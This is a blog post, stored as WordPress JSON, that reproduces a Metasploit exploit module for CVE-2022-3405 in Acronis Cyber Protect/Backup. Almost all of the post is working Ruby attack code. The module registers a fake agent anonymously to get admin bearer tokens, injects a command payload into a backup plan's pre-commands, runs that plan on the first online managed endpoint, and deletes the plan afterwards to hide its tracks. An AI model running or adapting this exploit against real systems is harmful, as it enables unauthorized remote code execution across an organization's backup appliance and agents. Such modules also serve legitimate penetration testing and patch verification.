{"id":60589,"date":"2024-12-03T19:52:34","date_gmt":"2024-12-03T16:52:34","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182937\/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb.txt"},"modified":"2024-12-03T19:52:34","modified_gmt":"2024-12-03T16:52:34","slug":"acronis-cyber-protect-backup-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/acronis-cyber-protect-backup-remote-code-execution\/","title":{"rendered":"Acronis Cyber Protect\/Backup Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HTTP::AcronisCyber<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Acronis Cyber Protect\/Backup remote code execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Acronis Cyber Protect or Backup is an enterprise backup\/recovery solution for all,<br \/>compute, storage and application resources. Businesses and Service Providers are using it<br \/>to protect and backup all IT assets in their IT environment.<br \/>The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous<br \/>registration of new protect\/backup agents on new endpoints. This API endpoint also<br \/>generates bearer tokens which the agent then uses to authenticate to the appliance.<br \/>As the management web console is running on the same port as the API for the agents, this<br \/>bearer token is also valid for any actions on the web console. This allows an attacker<br \/>with network access to the appliance to start the registration of a new agent, retrieve a<br \/>bearer token that provides admin access to the available functions in the web console.<\/p>\n<p>The web console contains multiple possibilities to execute arbitrary commands on both the<br \/>agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation<br \/>job on the agent of the appliance). These options can easily be set with the provided bearer<br \/>token, which leads to a complete compromise of all agents and the appliance itself.<\/p>\n<p>You can either use the module `auxiliary\/gather\/acronis_cyber_protect_machine_info_disclosure`<br \/>to collect target info for exploitation in this module. Or just run this module standalone and<br \/>it will try to exploit the first online endpoint matching your target and payload settings<br \/>configured at the module.<\/p>\n<p>Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and<br \/>Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # Metasploit module<br \/>&#8216;Sandro Tolksdorf of usd AG.&#8217; # discovery<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2022-3405&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/herolab.usd.de\/security-advisories\/usd-2022-0008\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/WVI3r5eNIc\/cve-2022-3405&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;windows&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix\/Linux Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;windows&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :win_cmd<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-11-08&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 9877<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION]}<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI of the vulnerable Acronis Cyber Protect\/Backup instance&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;HOSTID&#8217;, [false, &#8216;hostId value collected from recon module &#8220;auxiliary\/gather\/acronis_cyber_protect_machine_info_disclosure&#8221;&#8216;, &#8221;]),<br \/>OptString.new(&#8216;PARENTID&#8217;, [false, &#8216;parentId value collected from recon module &#8220;auxiliary\/gather\/acronis_cyber_protect_machine_info_disclosure&#8221;&#8216;, &#8221;]),<br \/>OptString.new(&#8216;KEY&#8217;, [false, &#8216;key value collected from recon module &#8220;auxiliary\/gather\/acronis_cyber_protect_machine_info_disclosure&#8221;&#8216;, &#8221;]),<br \/>OptEnum.new(&#8216;OUTPUT&#8217;, [true, &#8216;Output format to use&#8217;, &#8216;none&#8217;, [&#8216;none&#8217;, &#8216;json&#8217;]])<br \/>])<br \/>end<\/p>\n<p># create and import backup plan data with payload<br \/># returns nil if not successful<br \/>def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2)<br \/>id = Faker::Internet.uuid<br \/>name = Rex::Text.rand_text_alphanumeric(5..8).downcase<\/p>\n<p># we need to split the payload in the command and the arguments<br \/># otherwise command execution does not work for windows targets<br \/>cmd_line = payload.split(&#8216; &#8216;, 2)<\/p>\n<p>case target[&#8216;Type&#8217;]when :unix_cmd<br \/>source_dir = &#8216;\/home&#8217;<br \/>target_dir = &#8216;\/tmp&#8217;<br \/>when :win_cmd<br \/>source_dir = &#8216;c:\/users\/public&#8217;<br \/>target_dir = &#8216;c:\/windows\/temp&#8217;<br \/>else<br \/># probably macOS or other unix version<br \/>source_dir = &#8216;\/home&#8217;<br \/>target_dir = &#8216;\/tmp&#8217;<br \/>end<\/p>\n<p>plan_data = {<br \/>allowedActions: [&#8216;rename&#8217;, &#8216;revoke&#8217;, &#8216;runNow&#8217;],<br \/>allowedBackupTypes: [&#8216;full&#8217;, &#8216;incremental&#8217;],<br \/>backupType: &#8216;files&#8217;,<br \/>bootableMediaPlan: false,<br \/>editable: true,<br \/>enabled: true,<br \/>id: id.to_s,<br \/>locations: { data: [{ displayName: target_dir.to_s, id: &#8220;[[\\&#8221;ItemType\\&#8221;,\\&#8221;local_folder\\&#8221;],[\\&#8221;LocalID\\&#8221;,\\&#8221;#{target_dir}\\&#8221;]]&#8221;, type: &#8216;local_folder&#8217; }] },<br \/>name: name.to_s,<br \/>options: {<br \/>backupOptions: {<br \/>prePostCommands: {<br \/>postCommands: { command: &#8221;, commandArguments: &#8221;, continueOnCommandError: false, waitCommandComplete: true, workingDirectory: &#8221; },<br \/>preCommands: {<br \/>command: cmd_line[0].to_s,<br \/>commandArguments: cmd_line[1].to_s,<br \/>continueOnCommandError: true,<br \/>waitCommandComplete: false,<br \/>workingDirectory: &#8221;<br \/>},<br \/>useDefaultCommands: false,<br \/>usePostCommands: false,<br \/>usePreCommands: true<br \/>},<br \/>prePostDataCommands: {<br \/>postCommands: { command: &#8221;, commandArguments: &#8221;, continueOnCommandError: false, waitCommandComplete: true, workingDirectory: &#8221; },<br \/>preCommands: { command: &#8221;, commandArguments: &#8221;, continueOnCommandError: false, waitCommandComplete: true, workingDirectory: &#8221; },<br \/>useDefaultCommands: true,<br \/>usePostCommands: false,<br \/>usePreCommands: false<br \/>},<br \/>scheduling: { interval: { type: &#8216;minutes&#8217;, value: 30 }, type: &#8216;distributeBackupTimeOptions&#8217; },<br \/>simultaneousBackups: { simultaneousBackupsNumber: nil },<br \/>snapshot: {<br \/>quiesce: true,<br \/>retryConfiguration: {<br \/>reattemptOnError: true,<br \/>reattemptTimeFrame: { type: &#8216;minutes&#8217;, value: 5 },<br \/>reattemptsCount: 3,<br \/>silentMode: false<br \/>}<br \/>},<br \/>tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: &#8221; },<br \/>taskExecutionWindow: {},<br \/>taskFailureHandling: { periodBetweenRetryAttempts: { type: &#8216;hours&#8217;, value: 1 }, retryAttempts: 1, retryFailedTask: false },<br \/>taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: &#8216;hours&#8217;, value: 1 }, waitUntilMet: true },<br \/>validateBackup: false,<br \/>volumes: {<br \/>forceVssFullBackup: false,<br \/>useMultiVolumeSnapshot: true,<br \/>useNativeVssProvider: false,<br \/>useVolumeShadowService: true,<br \/>useVssFlags: [&#8216;definedRule&#8217;]},<br \/>vssFlags: { availableVssModes: [&#8216;auto&#8217;, &#8216;system&#8217;], enabled: true, value: &#8216;auto&#8217;, vssFullBackup: false },<br \/>windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: &#8216;warning&#8217;, traceState: false },<br \/>withHWSnapshot: false<br \/>},<br \/>specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: &#8216;centralizedFiles&#8217; }, type: &#8221; }<br \/>},<br \/>origin: &#8216;centralized&#8217;,<br \/>route: {<br \/>archiveSlicing: nil,<br \/>stages: [<br \/>{<br \/>archiveName: &#8216;[Machine Name]-[Plan ID]-[Unique ID]A&#8217;,<br \/>cleanUpIfNoSpace: false,<br \/>cleanup: {<br \/>time: [<br \/>{ backupSet: &#8216;daily&#8217;, period: { type: &#8216;days&#8217;, value: 7 } },<br \/>{ backupSet: &#8216;weekly&#8217;, period: { type: &#8216;weeks&#8217;, value: 4 } }<br \/>],<br \/>type: &#8216;cleanupByTime&#8217;<br \/>},<br \/>destinationKind: &#8216;local_folder&#8217;,<br \/>locationScript: nil,<br \/>locationUri: target_dir.to_s,<br \/>locationUriType: &#8216;local&#8217;,<br \/>maintenanceWindow: nil,<br \/>postAction: {<br \/>convertToVMParameters: {<br \/>agentIds: [],<br \/>cpuCount: nil,<br \/>diskAllocationType: &#8216;thick&#8217;,<br \/>displayedName: nil,<br \/>enabled: false,<br \/>exactMemorySize: false,<br \/>infrastructureType: &#8221;,<br \/>memorySize: nil,<br \/>networkAdapters: [],<br \/>virtualMachineName: &#8221;,<br \/>virtualServerHost: nil,<br \/>virtualServerHostKey: &#8216;[[&#8220;ItemType&#8221;,&#8221;&#8221;],[&#8220;LocalID&#8221;,&#8221;&#8221;]]&#8217;,<br \/>virtualServerStorage: &#8221;<br \/>}<br \/>},<br \/>rules: [<br \/>{<br \/>afterBackup: true,<br \/>backupCountUpperLimit: 0,<br \/>backupSetIndex: &#8216;daily&#8217;,<br \/>backupUpperLimitSize: 0,<br \/>beforeBackup: false,<br \/>consolidateBackup: false,<br \/>deleteOlderThan: { type: &#8216;days&#8217;, value: 7 },<br \/>deleteYongerThan: { type: &#8216;days&#8217;, value: 0 },<br \/>onSchedule: false,<br \/>retentionSchedule: {<br \/>alarms: [],<br \/>conditions: [],<br \/>maxDelayPeriod: -1,<br \/>maxRetries: 0,<br \/>preventFromSleeping: true,<br \/>retryPeriod: 0,<br \/>type: &#8216;none&#8217;,<br \/>unique: false,<br \/>waitActionType: &#8216;run&#8217;<br \/>},<br \/>stagingOperationType: &#8216;justCleanup&#8217;<br \/>},<br \/>{<br \/>afterBackup: true,<br \/>backupCountUpperLimit: 0,<br \/>backupSetIndex: &#8216;weekly&#8217;,<br \/>backupUpperLimitSize: 0,<br \/>beforeBackup: false,<br \/>consolidateBackup: false,<br \/>deleteOlderThan: { type: &#8216;weeks&#8217;, value: 4 },<br \/>deleteYongerThan: { type: &#8216;days&#8217;, value: 0 },<br \/>onSchedule: false,<br \/>retentionSchedule: {<br \/>alarms: [],<br \/>conditions: [],<br \/>maxDelayPeriod: -1,<br \/>maxRetries: 0,<br \/>preventFromSleeping: true,<br \/>retryPeriod: 0,<br \/>type: &#8216;none&#8217;,<br \/>unique: false,<br \/>waitActionType: &#8216;run&#8217;<br \/>},<br \/>stagingOperationType: &#8216;justCleanup&#8217;<br \/>}<br \/>],<br \/>useProtectionPlanCredentials: true,<br \/>validationRules: nil<br \/>}<br \/>]},<br \/>scheme: {<br \/>parameters: {<br \/>backupSchedule: {<br \/>kind: { dataType: &#8216;binary&#8217;, type: &#8216;full&#8217; },<br \/>schedule: {<br \/>alarms: [<br \/>{<br \/>beginDate: { day: 0, month: 0, year: 0 },<br \/>calendar: { days: 65, type: &#8216;weekly&#8217;, weekInterval: 0 },<br \/>distribution: { enabled: false, interval: 0, method: 0 },<br \/>endDate: { day: 0, month: 0, year: 0 },<br \/>machineWake: false,<br \/>repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 },<br \/>runLater: false,<br \/>skipOccurrences: 0,<br \/>startTime: { hour: 23, minute: 0, second: 0 },<br \/>startTimeDelay: 0,<br \/>type: &#8216;time&#8217;,<br \/>utcBasedSettings: false<br \/>}<br \/>],<br \/>conditions: [],<br \/>maxDelayPeriod: -1,<br \/>maxRetries: 0,<br \/>preventFromSleeping: true,<br \/>retryPeriod: 0,<br \/>type: &#8216;daily&#8217;,<br \/>unique: false,<br \/>waitActionType: &#8216;run&#8217;<br \/>}<br \/>},<br \/>backupTypeRule: &#8216;byScheme&#8217;<br \/>},<br \/>schedule: {<br \/>daysOfWeek: [&#8216;monday&#8217;, &#8216;tuesday&#8217;, &#8216;wednesday&#8217;, &#8216;thursday&#8217;, &#8216;friday&#8217;],<br \/>effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } },<br \/>machineWake: false,<br \/>preventFromSleeping: true,<br \/>runLater: false,<br \/>startAt: { hour: 23, minute: 0, second: 0 },<br \/>type: &#8216;daily&#8217;<br \/>},<br \/>type: &#8216;weekly_full_daily_inc&#8217;<br \/>},<br \/>sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] },<br \/>target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] },<br \/>tenant: { id: parentid.to_s, locator: &#8220;\/#{parentid}\/&#8221;, name: parentid.to_s, parentID: &#8221; }<br \/>}.to_json<\/p>\n<p>form_data = Rex::MIME::Message.new<br \/>form_data.add_part(plan_data, &#8216;application\/json&#8217;, nil, &#8220;form-data; name=\\&#8221;planfile\\&#8221;; filename=\\&#8221;#{Rex::Text.rand_text_alpha(4..8)}.json\\&#8221;&#8221;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;ams&#8217;, &#8216;backup&#8217;, &#8216;plan_operations&#8217;, &#8216;import&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;,<br \/>&#8216;Authorization&#8217; =&gt; &#8220;bearer #{access_token2}&#8221;<br \/>},<br \/>&#8216;data&#8217; =&gt; form_data.to_s,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;CreateDraftOnError&#8217; =&gt; true<br \/>}<br \/>})<br \/>return unless res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;planId&#8217;) &amp;&amp; res.body.include?(&#8216;importedPlans&#8217;)<\/p>\n<p># parse json response and return planId<br \/>res_json = res.get_json_document<br \/>return if res_json.blank?<\/p>\n<p>res_json.dig(&#8216;data&#8217;, &#8216;importedPlans&#8217;, 0, &#8216;planId&#8217;)<br \/>end<\/p>\n<p># remove the backup plan on the target including the payload<br \/># returns true if successful<br \/>def remove_backup_plan(access_token2)<br \/>post_data = {<br \/>planIds: [@planid.to_s]}.to_json<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;ams&#8217;, &#8216;backup&#8217;, &#8216;plans_operations&#8217;, &#8216;remove_plans&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;,<br \/>&#8216;Authorization&#8217; =&gt; &#8220;bearer #{access_token2}&#8221;<br \/>},<br \/>&#8216;data&#8217; =&gt; post_data.to_s<br \/>})<br \/>return false unless res&amp;.code == 200<\/p>\n<p>true<br \/>end<\/p>\n<p># execute the backup plan on the target including the payload<br \/># returns true if successful<br \/>def execute_command(access_token2, _opts = {})<br \/>post_data = {<br \/>planId: @planid.to_s<br \/>}.to_json<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;ams&#8217;, &#8216;backup&#8217;, &#8216;plan_operations&#8217;, &#8216;run&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;,<br \/>&#8216;Authorization&#8217; =&gt; &#8220;bearer #{access_token2}&#8221;<br \/>},<br \/>&#8216;data&#8217; =&gt; post_data.to_s<br \/>})<br \/>return false unless res&amp;.code == 200<\/p>\n<p>true<br \/>end<\/p>\n<p>def cleanup<br \/># try to remove imported backup plan with payload to cover our tracks<br \/># but do not run during the check phase<br \/>super<br \/>unless @check_running<br \/>if remove_backup_plan(@access_token2)<br \/>print_good(&#8216;Backup plan is successful removed.&#8217;)<br \/>else<br \/>print_warning(&#8216;Backup plan could not be removed. Try to clean it manually.&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def check<br \/>@check_running = true<br \/># initial check on api access<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;meta&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;<br \/>})<br \/>return Exploit::CheckCode::Unknown(&#8216;No Acronis API access found!&#8217;) unless res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;uri&#8217;) &amp;&amp; res.body.include?(&#8216;method&#8217;)<\/p>\n<p># get first access token<br \/>print_status(&#8216;Retrieve the first access token.&#8217;)<br \/>@access_token1 = get_access_token1<br \/>vprint_status(&#8220;Extracted first access token: #{@access_token1}&#8221;)<br \/>return Exploit::CheckCode::Unknown(&#8216;Retrieval of the first access token failed.&#8217;) if @access_token1.nil?<\/p>\n<p># register a dummy agent<br \/>client_id = Faker::Internet.uuid<br \/>print_status(&#8216;Register a dummy backup agent.&#8217;)<br \/>client_secret = dummy_agent_registration(client_id, @access_token1)<br \/>return Exploit::CheckCode::Unknown(&#8216;Registering a dummy agent failed.&#8217;) if client_secret.nil?<\/p>\n<p>print_status(&#8216;Dummy backup agent registration is successful.&#8217;)<\/p>\n<p># get second access_token<br \/>print_status(&#8216;Retrieve the second access token.&#8217;)<br \/>@access_token2 = get_access_token2(client_id, client_secret)<br \/>vprint_status(&#8220;Extracted second access token: #{@access_token2}&#8221;)<br \/>return Exploit::CheckCode::Unknown(&#8216;Retrieval of the second access token failed.&#8217;) if @access_token2.nil?<\/p>\n<p># get version info<br \/>version = get_version_info(@access_token2)<br \/>return Exploit::CheckCode::Unknown(&#8216;Can not find any version information.&#8217;) if version.nil?<\/p>\n<p>release = version.match(\/(.+)\\.(\\d+)\/)<br \/>case release[1]when &#8216;15.0&#8217;<br \/>if Rex::Version.new(version) &lt; Rex::Version.new(&#8216;15.0.29486&#8217;)<br \/>return Exploit::CheckCode::Appears(&#8220;Acronis Cyber Protect\/Backup #{version}&#8221;)<br \/>else<br \/>return Exploit::CheckCode::Safe(&#8220;Acronis Cyber Protect\/Backup #{version}&#8221;)<br \/>end<br \/>when &#8216;12.5&#8217;<br \/>if Rex::Version.new(version) &lt; Rex::Version.new(&#8216;12.5.16545&#8217;)<br \/>return Exploit::CheckCode::Appears(&#8220;Acronis Cyber Protect\/Backup #{version}&#8221;)<br \/>else<br \/>return Exploit::CheckCode::Safe(&#8220;Acronis Cyber Protect\/Backup #{version}&#8221;)<br \/>end<br \/>else<br \/>Exploit::CheckCode::Safe(&#8220;Acronis Cyber Protect\/Backup #{version}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/>@check_running = false<br \/># check if @access_token2 is already set as part of autocheck option<br \/>if @access_token2.nil?<br \/># get first access token<br \/>print_status(&#8216;Retrieve the first access token.&#8217;)<br \/>@access_token1 = get_access_token1<br \/>vprint_status(&#8220;Extracted first access token: #{@access_token1}&#8221;)<br \/>fail_with(Failure::NoAccess, &#8216;Retrieval of the first access token failed.&#8217;) if @access_token1.nil?<\/p>\n<p># register a dummy agent<br \/>client_id = Faker::Internet.uuid<br \/>print_status(&#8216;Register a dummy backup agent.&#8217;)<br \/>client_secret = dummy_agent_registration(client_id, @access_token1)<br \/>fail_with(Failure::BadConfig, &#8216;Registering a dummy agent failed.&#8217;) if client_secret.nil?<br \/>print_status(&#8216;Dummy backup agent registration is successful.&#8217;)<\/p>\n<p># get second access_token<br \/>print_status(&#8216;Retrieve the second access token.&#8217;)<br \/>@access_token2 = get_access_token2(client_id, client_secret)<br \/>vprint_status(&#8220;Extracted second access token: #{@access_token2}&#8221;)<br \/>fail_with(Failure::NoAccess, &#8216;Retrieval of the second access token failed.&#8217;) if @access_token2.nil?<br \/>end<\/p>\n<p># if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting<br \/>hostid = datastore[&#8216;HOSTID&#8217;]parentid = datastore[&#8216;PARENTID&#8217;]key = datastore[&#8216;KEY&#8217;]if hostid.blank? || parentid.blank? || key.blank?<br \/>print_status(&#8216;Retrieve first online target registered at the Acronis Cyber Protect\/Backup appliance.&#8217;)<br \/>res_json = get_machine_info(@access_token2)<br \/>fail_with(Failure::NotFound, &#8216;Can not find any configuration information.&#8217;) if res_json.nil?<\/p>\n<p># find first online target matching the module target settings<br \/>res_json[&#8216;data&#8217;].each do |item|<br \/>next unless item[&#8216;type&#8217;] == &#8216;machine&#8217; &amp;&amp; (item[&#8216;osType&#8217;] == &#8216;linux&#8217; &amp;&amp; target[&#8216;Type&#8217;] == :unix_cmd) || (item[&#8216;osType&#8217;] == &#8216;windows&#8217; &amp;&amp; target[&#8216;Type&#8217;] == :win_cmd) &amp;&amp; item[&#8216;online&#8217;]\n<p>print_status(&#8220;Found online target matching your target setting #{target.name}.&#8221;)<br \/>print_good(&#8220;hostId: #{item[&#8216;hostId&#8217;]}&#8221;) unless item[&#8216;hostId&#8217;].nil?<br \/>print_good(&#8220;parentId: #{item[&#8216;parentId&#8217;]}&#8221;) unless item[&#8216;parentId&#8217;].nil?<br \/>print_good(&#8220;key: #{item[&#8216;id&#8217;]}&#8221;) unless item[&#8216;id&#8217;].nil?<br \/>print_status(&#8220;type: #{item[&#8216;type&#8217;]}&#8221;) unless item[&#8216;type&#8217;].nil?<br \/>print_status(&#8220;hostname: #{item[&#8216;title&#8217;]}&#8221;) unless item[&#8216;title&#8217;].nil?<br \/>print_status(&#8220;IP: #{item.dig(&#8216;ip&#8217;, 0)}&#8221;) unless item.dig(&#8216;ip&#8217;, 0).nil?<br \/>print_status(&#8220;OS: #{item[&#8216;os&#8217;]}&#8221;) unless item[&#8216;os&#8217;].nil?<br \/>print_status(&#8220;ARCH: #{item[&#8216;osType&#8217;]}&#8221;) unless item[&#8216;osType&#8217;].nil?<br \/>print_status(&#8220;ONLINE: #{item[&#8216;online&#8217;]}&#8221;) unless item[&#8216;online&#8217;].nil?<br \/>hostid = item[&#8216;hostId&#8217;]parentid = item[&#8216;parentId&#8217;]key = item[&#8216;id&#8217;]break<br \/>end<br \/>end<br \/>fail_with(Failure::NotFound, &#8220;No target available matching your target setting #{target.name}.&#8221;) if hostid.blank? || parentid.blank? || key.blank?<\/p>\n<p># create and import backup plan with payload<br \/>print_status(&#8220;Import backup plan with payload for target with hostId: #{hostid}.&#8221;)<br \/>@planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2)<br \/>fail_with(Failure::BadConfig, &#8216;Importing backup plan with payload failed.&#8217;) if @planid.nil?<\/p>\n<p>print_status(&#8220;Executing #{target.name} with payload #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>case target[&#8216;Type&#8217;]when :unix_cmd, :win_cmd<br \/>execute_command(@access_token2)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HTTP::AcronisCyberprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Acronis Cyber Protect\/Backup remote code execution&#8217;,&#8216;Description&#8217; =&gt; %q{Acronis Cyber Protect or Backup is an enterprise backup\/recovery solution for all,compute, storage and application resources. Businesses and Service Providers are using itto &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60589","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60589"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60589\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}